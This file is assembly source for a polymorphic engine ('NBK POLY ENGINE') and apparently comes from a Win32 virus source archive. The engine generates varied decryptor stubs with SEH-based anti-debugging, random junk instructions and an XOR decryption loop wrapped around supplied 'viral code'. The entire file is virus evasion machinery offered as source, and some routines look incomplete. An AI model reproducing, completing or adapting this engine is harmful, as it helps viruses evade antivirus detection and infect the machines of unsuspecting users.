MalwareSourceCode/Engines/Win32/Virus.Win32.NBKPE.txt
2020-10-16 22:28:58 +02:00

1172 lines
31 KiB
Plaintext

;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; NBK POLY ENGINE *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
engine:
; entry:
; esi = offset 2 viral code
; edi = offset 2 put code (virus size + 700 bytes, at least)
; ebx = RVA + Image Base of edi
; ecx = size of viral code in 'dwords'
pushad ;
mov dword ptr [ebp+ofsvir],esi;
mov dword ptr [ebp+len],ecx ;
mov [ebp+_RVA],ebx ; Save RVA
mov [ebp+all_ini],edi ; Save initial pointer
; (runtime offsets)
;
xor dl,dl ; erase some flags
xor bl,bl ;
;
call SEH ; SEH :-)
;
call CRYPT ; POLY decryptor
popad
ret
SEH proc
pushad
; 1) push offset 6
; 2) xor ebx,ebx
; edx,edx
; eax,eax
; 3) push dword ptr fs:[0] ;6467FF360000
; fs:[eax] ;64FF30 - 48D
; fs:[ebx] ;64FF33 - 51D
; fs:[edx] ;64FF32 - 50D
; 4) mov dword ptr fs:[0],esp ;646789260000
; fs:[eax] ;648920 - 32D
; fs:[ebx] ;648923 - 35D
; fs:[edx] ;648922 - 34D
; 5) int 03h
; 6) untrace
; 7) mov esp,dword ptr [esp+8]
; 8) xor ebx,ebx
; edx,edx
; eax,eax
; 9) pop dword ptr fs:[0]
; fs:[ebx]
; fs:[edx]
; fs:[eax]
; 10) add esp,4
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; CHOOSE REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
@@1: ;
in al,40H ;
cmp al,0C0H ; eax = 192 = 48
je put_reg ;
cmp al,0DBH ; ebx = 219 = 51
je put_reg ;
cmp al,0D2H ; edx = 210 = 50
je put_reg ;
cmp al,00H ; no reg ?
je put_reg ;
jmp @@1 ;
put_reg: ;
mov byte ptr [ebp+xor_reg],al ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
call chg_garble
mov [ebp+ofs ini_SEH],edi
@@30:
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; PUSH mem PUSH reg *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
in al,40H ;
and al,0001b ;
jz @@21 ;
;
mov al,68H ; generate PUSH
stosb ;
;
mov [ebp+ofs off1],edi ; Save this offset
xor eax,eax ;
stosd ;
;
jmp short @@22 ;
;
@@21: ;
;
call mov_reg ;
sub al,08H ;
stosb ;
push eax ;
mov [ebp+ofs off1],edi ;
xor eax,eax ;
stosd ;
pop eax ;
add al,08H ;
mov dl,99H ;
mov bl,99H ;
call push_pop ;
xor dl,dl ;
xor bl,bl ;
;
@@22: ;
;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
call chg_garble
@@31:
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; XOR ? SUB -> REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
mov bl,byte ptr [ebp+xor_reg] ;
or bl,bl ;
jz @@2 ;
;
in al,40H ;
and al,0001H ;
jz @@19 ;
;
mov al,33H ; XOR
stosb ;
;
jmp short @@20 ;
;
@@19: ;
;
mov al,2BH ; SUB
stosb ;
;
@@20: ;
;
mov al,bl ;
stosb ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
@@2:
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; PUSH DWORD PTR FS:[]*
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
mov al,64H
stosb
mov bl,byte ptr [ebp+xor_reg]
or bl,bl
jz @@3
mov al,0FFH
stosb
mov al,bl
cmp al,0C0H ; eax
je @@4
cmp al,0DBH ; ebx
je @@5
cmp al,0D2H ; edx
je @@6
jmp short $
@@3: ; 67FF360000 fs:[0]
mov eax,0036FF67H
stosd
xor al,al
@@7:
mov cl,al ; Save this reg in cl
stosb
jmp @@8
@@4:
mov al,30H
jmp @@7
@@5:
mov al,33H
jmp @@7
@@6:
mov al,32H
jmp @@7
@@8:
;call chg_garble ; error
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; MOV DWORD PTR FS:[?],esp*
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
mov al,64H
stosb
mov bl,byte ptr [ebp+xor_reg]
or bl,bl
jz @@9 ; no regs
mov al,89H
stosb
mov al,cl ; Get used reg
sub al,10H ; ...
jmp @@10
@@9:
mov eax,00268967H ; 6789260000
stosd
xor al,al
@@10:
stosb
call chg_garble
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; EXCEPTION *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
mov al,0CCH ; int 03H
stosb ;
;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
call chg_garble
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; UNTRACE *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
mov al,0E9H ;
stosb ;
;
call rnd ;
stosd ;
;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
call chg_garble
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; MOV ESP,DWORD PTR [ESP+08]*
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
mov [ebp+ofs off6],edi ;
call chg_garble
mov al,08BH ;
stosb ;
in al,40H ;
and al,0001b ;
jz @@23 ;
mov ax,2464H ; 642408
stosw ;
mov al,08H ;
stosb ;
jmp short @@29 ;
@@23: ;
call mov_reg ;
push eax
cmp al,0C0H
je @@24
cmp al,0C1H
je @@25
cmp al,0C2H
je @@26
cmp al,0C3H
je @@27
jmp short $
@@24:
mov al,44H
jmp @@28
@@25:
mov al,4CH
jmp @@28
@@26:
mov al,54H
jmp @@28
@@27:
mov al,5CH
@@28:
stosb
mov ax,0824H
stosw
mov al,8BH
stosb
pop eax
add al,20H
stosb
@@29:
;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
call chg_garble
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; XOR ? SUB -> REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
mov bl,byte ptr [ebp+xor_reg] ;
or bl,bl ;
jz @@11 ;
;
in al,40H ;
and al,0001H ;
jz @@16 ;
;
mov al,33H ; XOR
stosb ;
;
jmp short @@18 ;
;
@@16: ;
;
mov al,2BH ; SUB
stosb ;
;
@@18: ;
;
mov al,bl ;
stosb ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; POP DWORD PTR FS:[?]*
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
@@11: ;
;
mov al,64H ;
stosb ;
;
or bl,bl ;
jz @@12 ;
;
mov al,8FH ;
stosb ;
;
mov al,cl ;
sub al,30H ;
jmp @@13 ;
;
@@12: ;
;
mov eax,00068F67H ; 678F060000
stosd ;
;
xor al,al ;
@@13: ;
stosb ;
;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
call chg_garble
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; ADD ESP,4 *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
in al,40H ;
and al,0001H ;
jz @@14 ;
;
mov ax,0C483H ;
stosw ;
;
mov al,04H ;
stosb ;
;
jmp short @@15 ;
;
@@14: ;
;
mov ax,0EC83H ;
stosw ;
;
mov al,0FCH ;
stosb ;
;
@@15: ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
call chg_garble
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
;mov [ebp+ofs wahoo],edi ;
;
mov eax,[ebp+ini_SEH] ;
sub eax,[ebp+all_ini] ;
mov edx,eax ;
;
mov eax,[ebp+off6] ;
sub eax,[ebp+off1] ;
;
mov ebx,[ebp+_RVA] ;
add ebx,edx ;
add ebx,eax ;
add ebx,3 ;
;
mov eax,[ebp+ofs off1] ;
mov [eax],ebx ;
;
mov dr0,edi ;
popad ;
mov edi,dr0 ;
ret ;
;
ini_SEH dd 0 ;
;wahoo dd 0 ;
;siz dd 0 ;
off1 dd 0 ;
off6 dd 0 ;
all_ini dd 0 ;
xor_reg db 0 ;
_RVA dd 0 ;
len dd 0 ;
ofsvir dd 0 ;
;
SEH endp ;
;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; GARBAGE GENERATOR *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
garbage proc ;
;
push eax ;
push esi ;
xor eax,eax ;
in al,40H ;
and al,0001b ;
jz @@1 ;
in al,40H ;
not al ;
jmp short @@2 ;
@@1: ;
in al,40H ;
@@2: ;
and al,00111100b ;
lea esi,[ebp+ofs GARBAGE_TABLE0]
add esi,eax ;
mov esi,dword ptr [esi] ;
add esi,ebp ;
call esi ;
pop esi ;
pop eax ;
ret ;
;
garbage endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; GARBAGE GENERATOR *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
garbage1 proc ;
push eax ;
push esi ;
xor eax,eax ;
in al,40H ;
and al,1100b ;
lea esi,[ebp+ofs GARBAGE_TABLE1]
add esi,eax ;
mov esi,dword ptr [esi] ;
add esi,ebp ;
call esi ;
pop esi ;
pop eax ;
garbage1 endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; GARBAGE TABLE 0 *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
GARBAGE_TABLE0: ;
;
dd ofs mov_eax ;
dd ofs mov_ah ;
dd ofs add_al ;
dd ofs sub_ebx ;
dd ofs shl_reg_cl ;
dd ofs xchg_edx ;
dd ofs or_reg_reg ;
dd ofs push_pop ;
dd ofs test_eax ;
dd ofs xor_reg_num ;
dd ofs jump ;
dd ofs neg_reg ;
dd ofs adc_reg ;
dd ofs adc_reg_num ;
dd ofs and_reg_num ;
dd ofs bt_reg_reg ;
;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; GARBAGE TABLE 1 *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
GARBAGE_TABLE1: ; preserv regs
;
dd ofs jump ;
dd ofs mov_dr0 ;
dd ofs cmp_eax ;
dd ofs test_eax ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; CHG_GARBLE *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
chg_garble proc ;
push eax ;
call garbage ;
in al,40H ;
and al,0001b ;
jnz @@38 ;
call garbage ;
in al,40H ;
and al,0001b ;
jz @@38 ;
call garbage ;
call garbage ;
in al,40H ;
and al,0001b ;
jz @@37 ;
@@38: ;
call garbage ;
@@37: ;
pop eax ;
ret ;
chg_garble endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; CHG_GARBLE *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
chg_garble1 proc ;
push eax ;
call garbage1 ;
in al,40H ;
and al,0001b ;
jnz @@38 ;
call garbage1 ;
in al,40H ;
and al,0001b ;
jz @@38 ;
call garbage1 ;
call garbage1 ;
in al,40H ;
and al,0001b ;
jz @@37 ;
@@38: ;
call garbage1 ;
@@37: ;
pop eax ;
ret ;
chg_garble1 endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; MOV EAX, ? *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
mov_eax proc ;
push eax ;
in al,40H ;
and al,0001b ;
jz @@1 ;
mov al,8BH ;
cmp byte ptr [edi-2],al ;
je @@1 ;
stosb ;
call mov_reg ;
stosb ;
jmp @@2 ;
@@1: ;
mov al,0B8H ;
cmp byte ptr [edi-5],al ;
je @@2 ;
stosb ;
call rnd ;
stosd ;
@@2: ;
pop eax ;
ret ;
mov_eax endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; AL = C0, C1, C2, C3 *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
mov_reg proc ;
@@1: ;
in al,40H ;
cmp al,0C0H ;
je @@2 ;
cmp al,0C1H ;
je @@2 ;
cmp al,0C2H ;
je @@2 ;
cmp al,0C3H ;
je @@2 ;
jmp @@1 ;
@@2: ;
ret ;
mov_reg endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; MOV AH,?? *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
mov_ah proc ;
push eax ;
mov al,0B4H ;
cmp byte ptr [edi-2],al ;
je @@1 ;
stosb ;
in al,40H ;
stosb ;
@@1: ;
pop eax ;
ret ;
mov_ah endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; ADD AL,REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
add_al proc ;
push eax ;
mov al,2 ;
stosb ;
call mov_reg ;
stosb ;
@@1: ;
pop eax ;
ret ;
add_al endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; SUB EBX,REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
sub_ebx proc ;
push eax ;
mov al,2BH ;
stosb ;
call mov_reg ;
add al,18H ;
stosb ;
@@1: ;
pop eax ;
ret ;
sub_ebx endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; XCHG EDX,REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
xchg_edx proc ;
push eax ;
mov al,87H ;
stosb ;
@@2: ;
call mov_reg ;
cmp al,0C0H ;
je @@2 ;
add al,10H ;
stosb ;
@@1: ;
pop eax ;
ret ;
xchg_edx endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; MOV DR0,REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
mov_dr0 proc ;
push eax ;
mov ax,230FH ;
stosw ;
call mov_reg ;
stosb ;
@@1: ;
pop eax ;
ret ;
mov_dr0 endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; TEST EAX,REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
test_eax proc ;
push eax ;
mov al,85H ;
stosb ;
call mov_reg ;
stosb ;
pop eax ;
ret ;
test_eax endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; CMP EAX,REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
cmp_eax proc ;
push eax ;
mov al,3BH ;
stosb ;
call mov_reg ;
stosb ;
pop eax ;
ret ;
cmp_eax endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; NEG REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
neg_reg proc ;
push eax ;
mov al,0F7H ;
cmp byte ptr [edi-2],al ;
je @@1 ;
stosb ;
call mov_reg ;
add al,18H ;
stosb ;
@@1: ;
pop eax ;
ret ;
neg_reg endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; ADC REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
adc_reg proc ;
push eax ;
mov al,13H ;
stosb ;
call mov_reg ;
stosb ;
pop eax ;
ret ;
adc_reg endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; ADC REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
adc_reg_num proc ;
push eax ;
mov al,81H ;
stosb ;
@@2: ;
call mov_reg ;
cmp al,0C0H ;
je @@2 ;
add al,10H ;
stosb ;
call rnd ;
stosd ;
pop eax ;
ret ;
adc_reg_num endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; AND REG,???? *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
and_reg_num proc ;
push eax ;
mov al,81H ;
cmp byte ptr [edi-6],al ;
je @@1 ;
stosb ;
@@2: ;
call mov_reg ;
cmp al,0C0H ;
je @@2 ;
add al,20H ;
stosb ;
call rnd ;
stosd ;
@@1: ;
pop eax ;
ret ;
and_reg_num endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; BT REG,REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
bt_reg_reg proc ;
push eax ;
cmp byte ptr [edi-3],0FH ;
je @@1 ;
mov ax,0A30FH ;
stosw ;
call mov_reg ;
stosb ;
@@1: ;
pop eax ;
ret ;
bt_reg_reg endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; OR REG,REG *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
or_reg_reg proc ;
push eax ;
mov al,0AH ;
stosb ;
call mov_reg ;
stosb ;
pop eax ;
ret ;
or_reg_reg endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; XOR REG16,?? *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
xor_reg_num proc ;
push eax ;
mov ax,8166H ;
stosw ;
@@2: ;
call mov_reg ;
cmp al,0C0H ;
je @@2 ;
add al,30H ;
stosb ;
call rnd ;
stosw ;
pop eax ;
ret ;
xor_reg_num endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; SHL E?X,CL *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
shl_reg_cl proc ;
push eax ;
mov al,0D3H ;
cmp byte ptr [edi-2],al ;
je @@1 ;
stosb ;
call mov_reg ;
add al,20H ;
stosb ;
@@1: ;
pop eax ;
ret ;
shl_reg_cl endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; PUSH_POP E?X *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
push_pop proc ;
push eax ;
cmp dl,99H ;
je @@1 ;
call mov_reg ;
@@1: ;
sub al,70H ;
stosb ;
;
call chg_garble ;
;
cmp bl,99H ; Only PUSH ?
je @@2 ;
add al,08H ;
stosb ;
@@2: ;
pop eax ;
ret ;
push_pop endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; JUMP GENERATOR *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
jump proc ;
pushad ;
xor edx,edx ;
call rnd ;
and eax,01111110b ; 126
mov ecx,eax ;
mov bl,al ;
mov al,0EBH ;
stosb ;
mov al,bl ;
stosb ;
@@1: ;
call rnd ;
stosb ;
loop @@1 ;
mov dr0,edi ;
popad ;
mov edi,dr0 ;
ret ;
jump endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; CHANGE EDI *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; IF DL = 1
ch_edi proc ; A RANDOMIC DWORD
push eax ; WILL BE USED
in al,40H ;
and al,0001b ; IF NOT, THE NEXT
jz @@1 ; ROUTINE HAVE TO STORE
mov ax,0FF33H ; A DWORD
stosw ;
mov ax,0C781H ;
stosw ;
jmp short @@2 ;
@@1: ;
mov al,0BFH ;
stosb ;
@@2: ;
cmp dl,99H ;
je @@3 ;
@@4: ;
pop eax ;
ret ;
@@3: ;
call rnd ;
stosd ;
jmp @@4 ;
ch_edi endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; CRYPT CODE *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
CRYPT proc
; 1) mov edi, 'CODE_OFFSET_RUNTIME'
; 2) mov ecx, 'VIRUS_LENGHT'
; 3) mov /eax/ebx/edx/, DWORD PTR [edi]
; 4) xor /eax/ebx/edx/, KEY
; 5) add/sub /eax/ebx/edx/, BYTE
mov [ebp+_off1],edi ; PROC init
call edi_ofs
mov ecx,dword ptr [ebp+len]
call len_ecx
call edi2eax
push edi
call xor_eax
call eax2edi
call add_edi
pop ebx
sub ebx,2 ; Back to instruction
call do_loop
mov eax,edi
sub eax,[ebp+all_ini] ; EAX = decryptor size
add eax,[ebp+_RVA]
add eax,2
mov esi,[ebp+_off2]
mov [esi],eax
push edi ; Save end of
mov ecx,dword ptr [ebp+len]
mov esi,dword ptr [ebp+ofsvir];
rep movsd ; copy it
pop edi
push edi
sub edi,[ebp+_off1]
mov eax,edi
mov ebx,[ebp+_off3]
mov esi,ebx
lea edi,[ebp+ofs buff]
mov ecx,eax
mov edx,30
sub edx,ecx
rep movsb
mov al,90H
mov ecx,edx
sub ecx,2
rep stosb
pop edi
buff db 30 dup (90H)
db 6 dup (0C3H)
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; EDI_OFFSET *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
edi_ofs proc ;
push eax ;
mov al,0BFH ;
stosb ;
mov [ebp+_off2],edi ; mov edi,offset virus
xor eax,eax ;
stosd ;
pop eax ;
ret ;
edi_ofs endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; MOV ECX,LENGHT *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
len_ecx proc ;
push eax ;
mov [ebp+_off3],edi ;
mov al,0B9H ;
stosb ;
mov eax,ecx ;
stosd ;
pop eax ;
ret ;
len_ecx endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; [EDI] - > EAX *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
edi2eax proc ;
push eax ;
mov ax,078BH ; mov eax,dword ptr [edi]
stosw ;
pop eax ;
ret ;
edi2eax endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; XOR EAX, ???? *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
xor_eax proc ;
push eax ;
mov al,35H ; XOR EAX, ????
stosb ;
call rnd ;
stosd ; rnd dword
pop eax ;
ret ;
xor_eax endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; EAX -> [EDI] *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
eax2edi proc ;
push eax ;
mov ax,0789H ; mov dword ptr [edi],eax
stosw ;
pop eax ;
ret ;
eax2edi endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; ADD EDI,4 *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
add_edi proc ;
push eax ;
mov ax,0C783H ;
stosw ;
mov al,4 ;
stosb ;
pop eax ;
ret ;
add_edi endp ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
; LOOP DECRYPT_INI *
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
;
do_loop: ;
push eax ;
push ebx ;
mov al,0E2H ;
stosb ;
sub ebx,edi ;
dec ebx ;
mov al,bl ;
stosb ;
mov [ebp+_off4],edi ; MARK the end.
pop ebx ;
pop eax ;
ret ;
;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+
_off1 dd 0
_off2 dd 0
_off3 dd 0
_off4 dd 0
_off5 dd 0 ; offset 4 'RET' , put a Nop
siz dd 0
CRYPT endp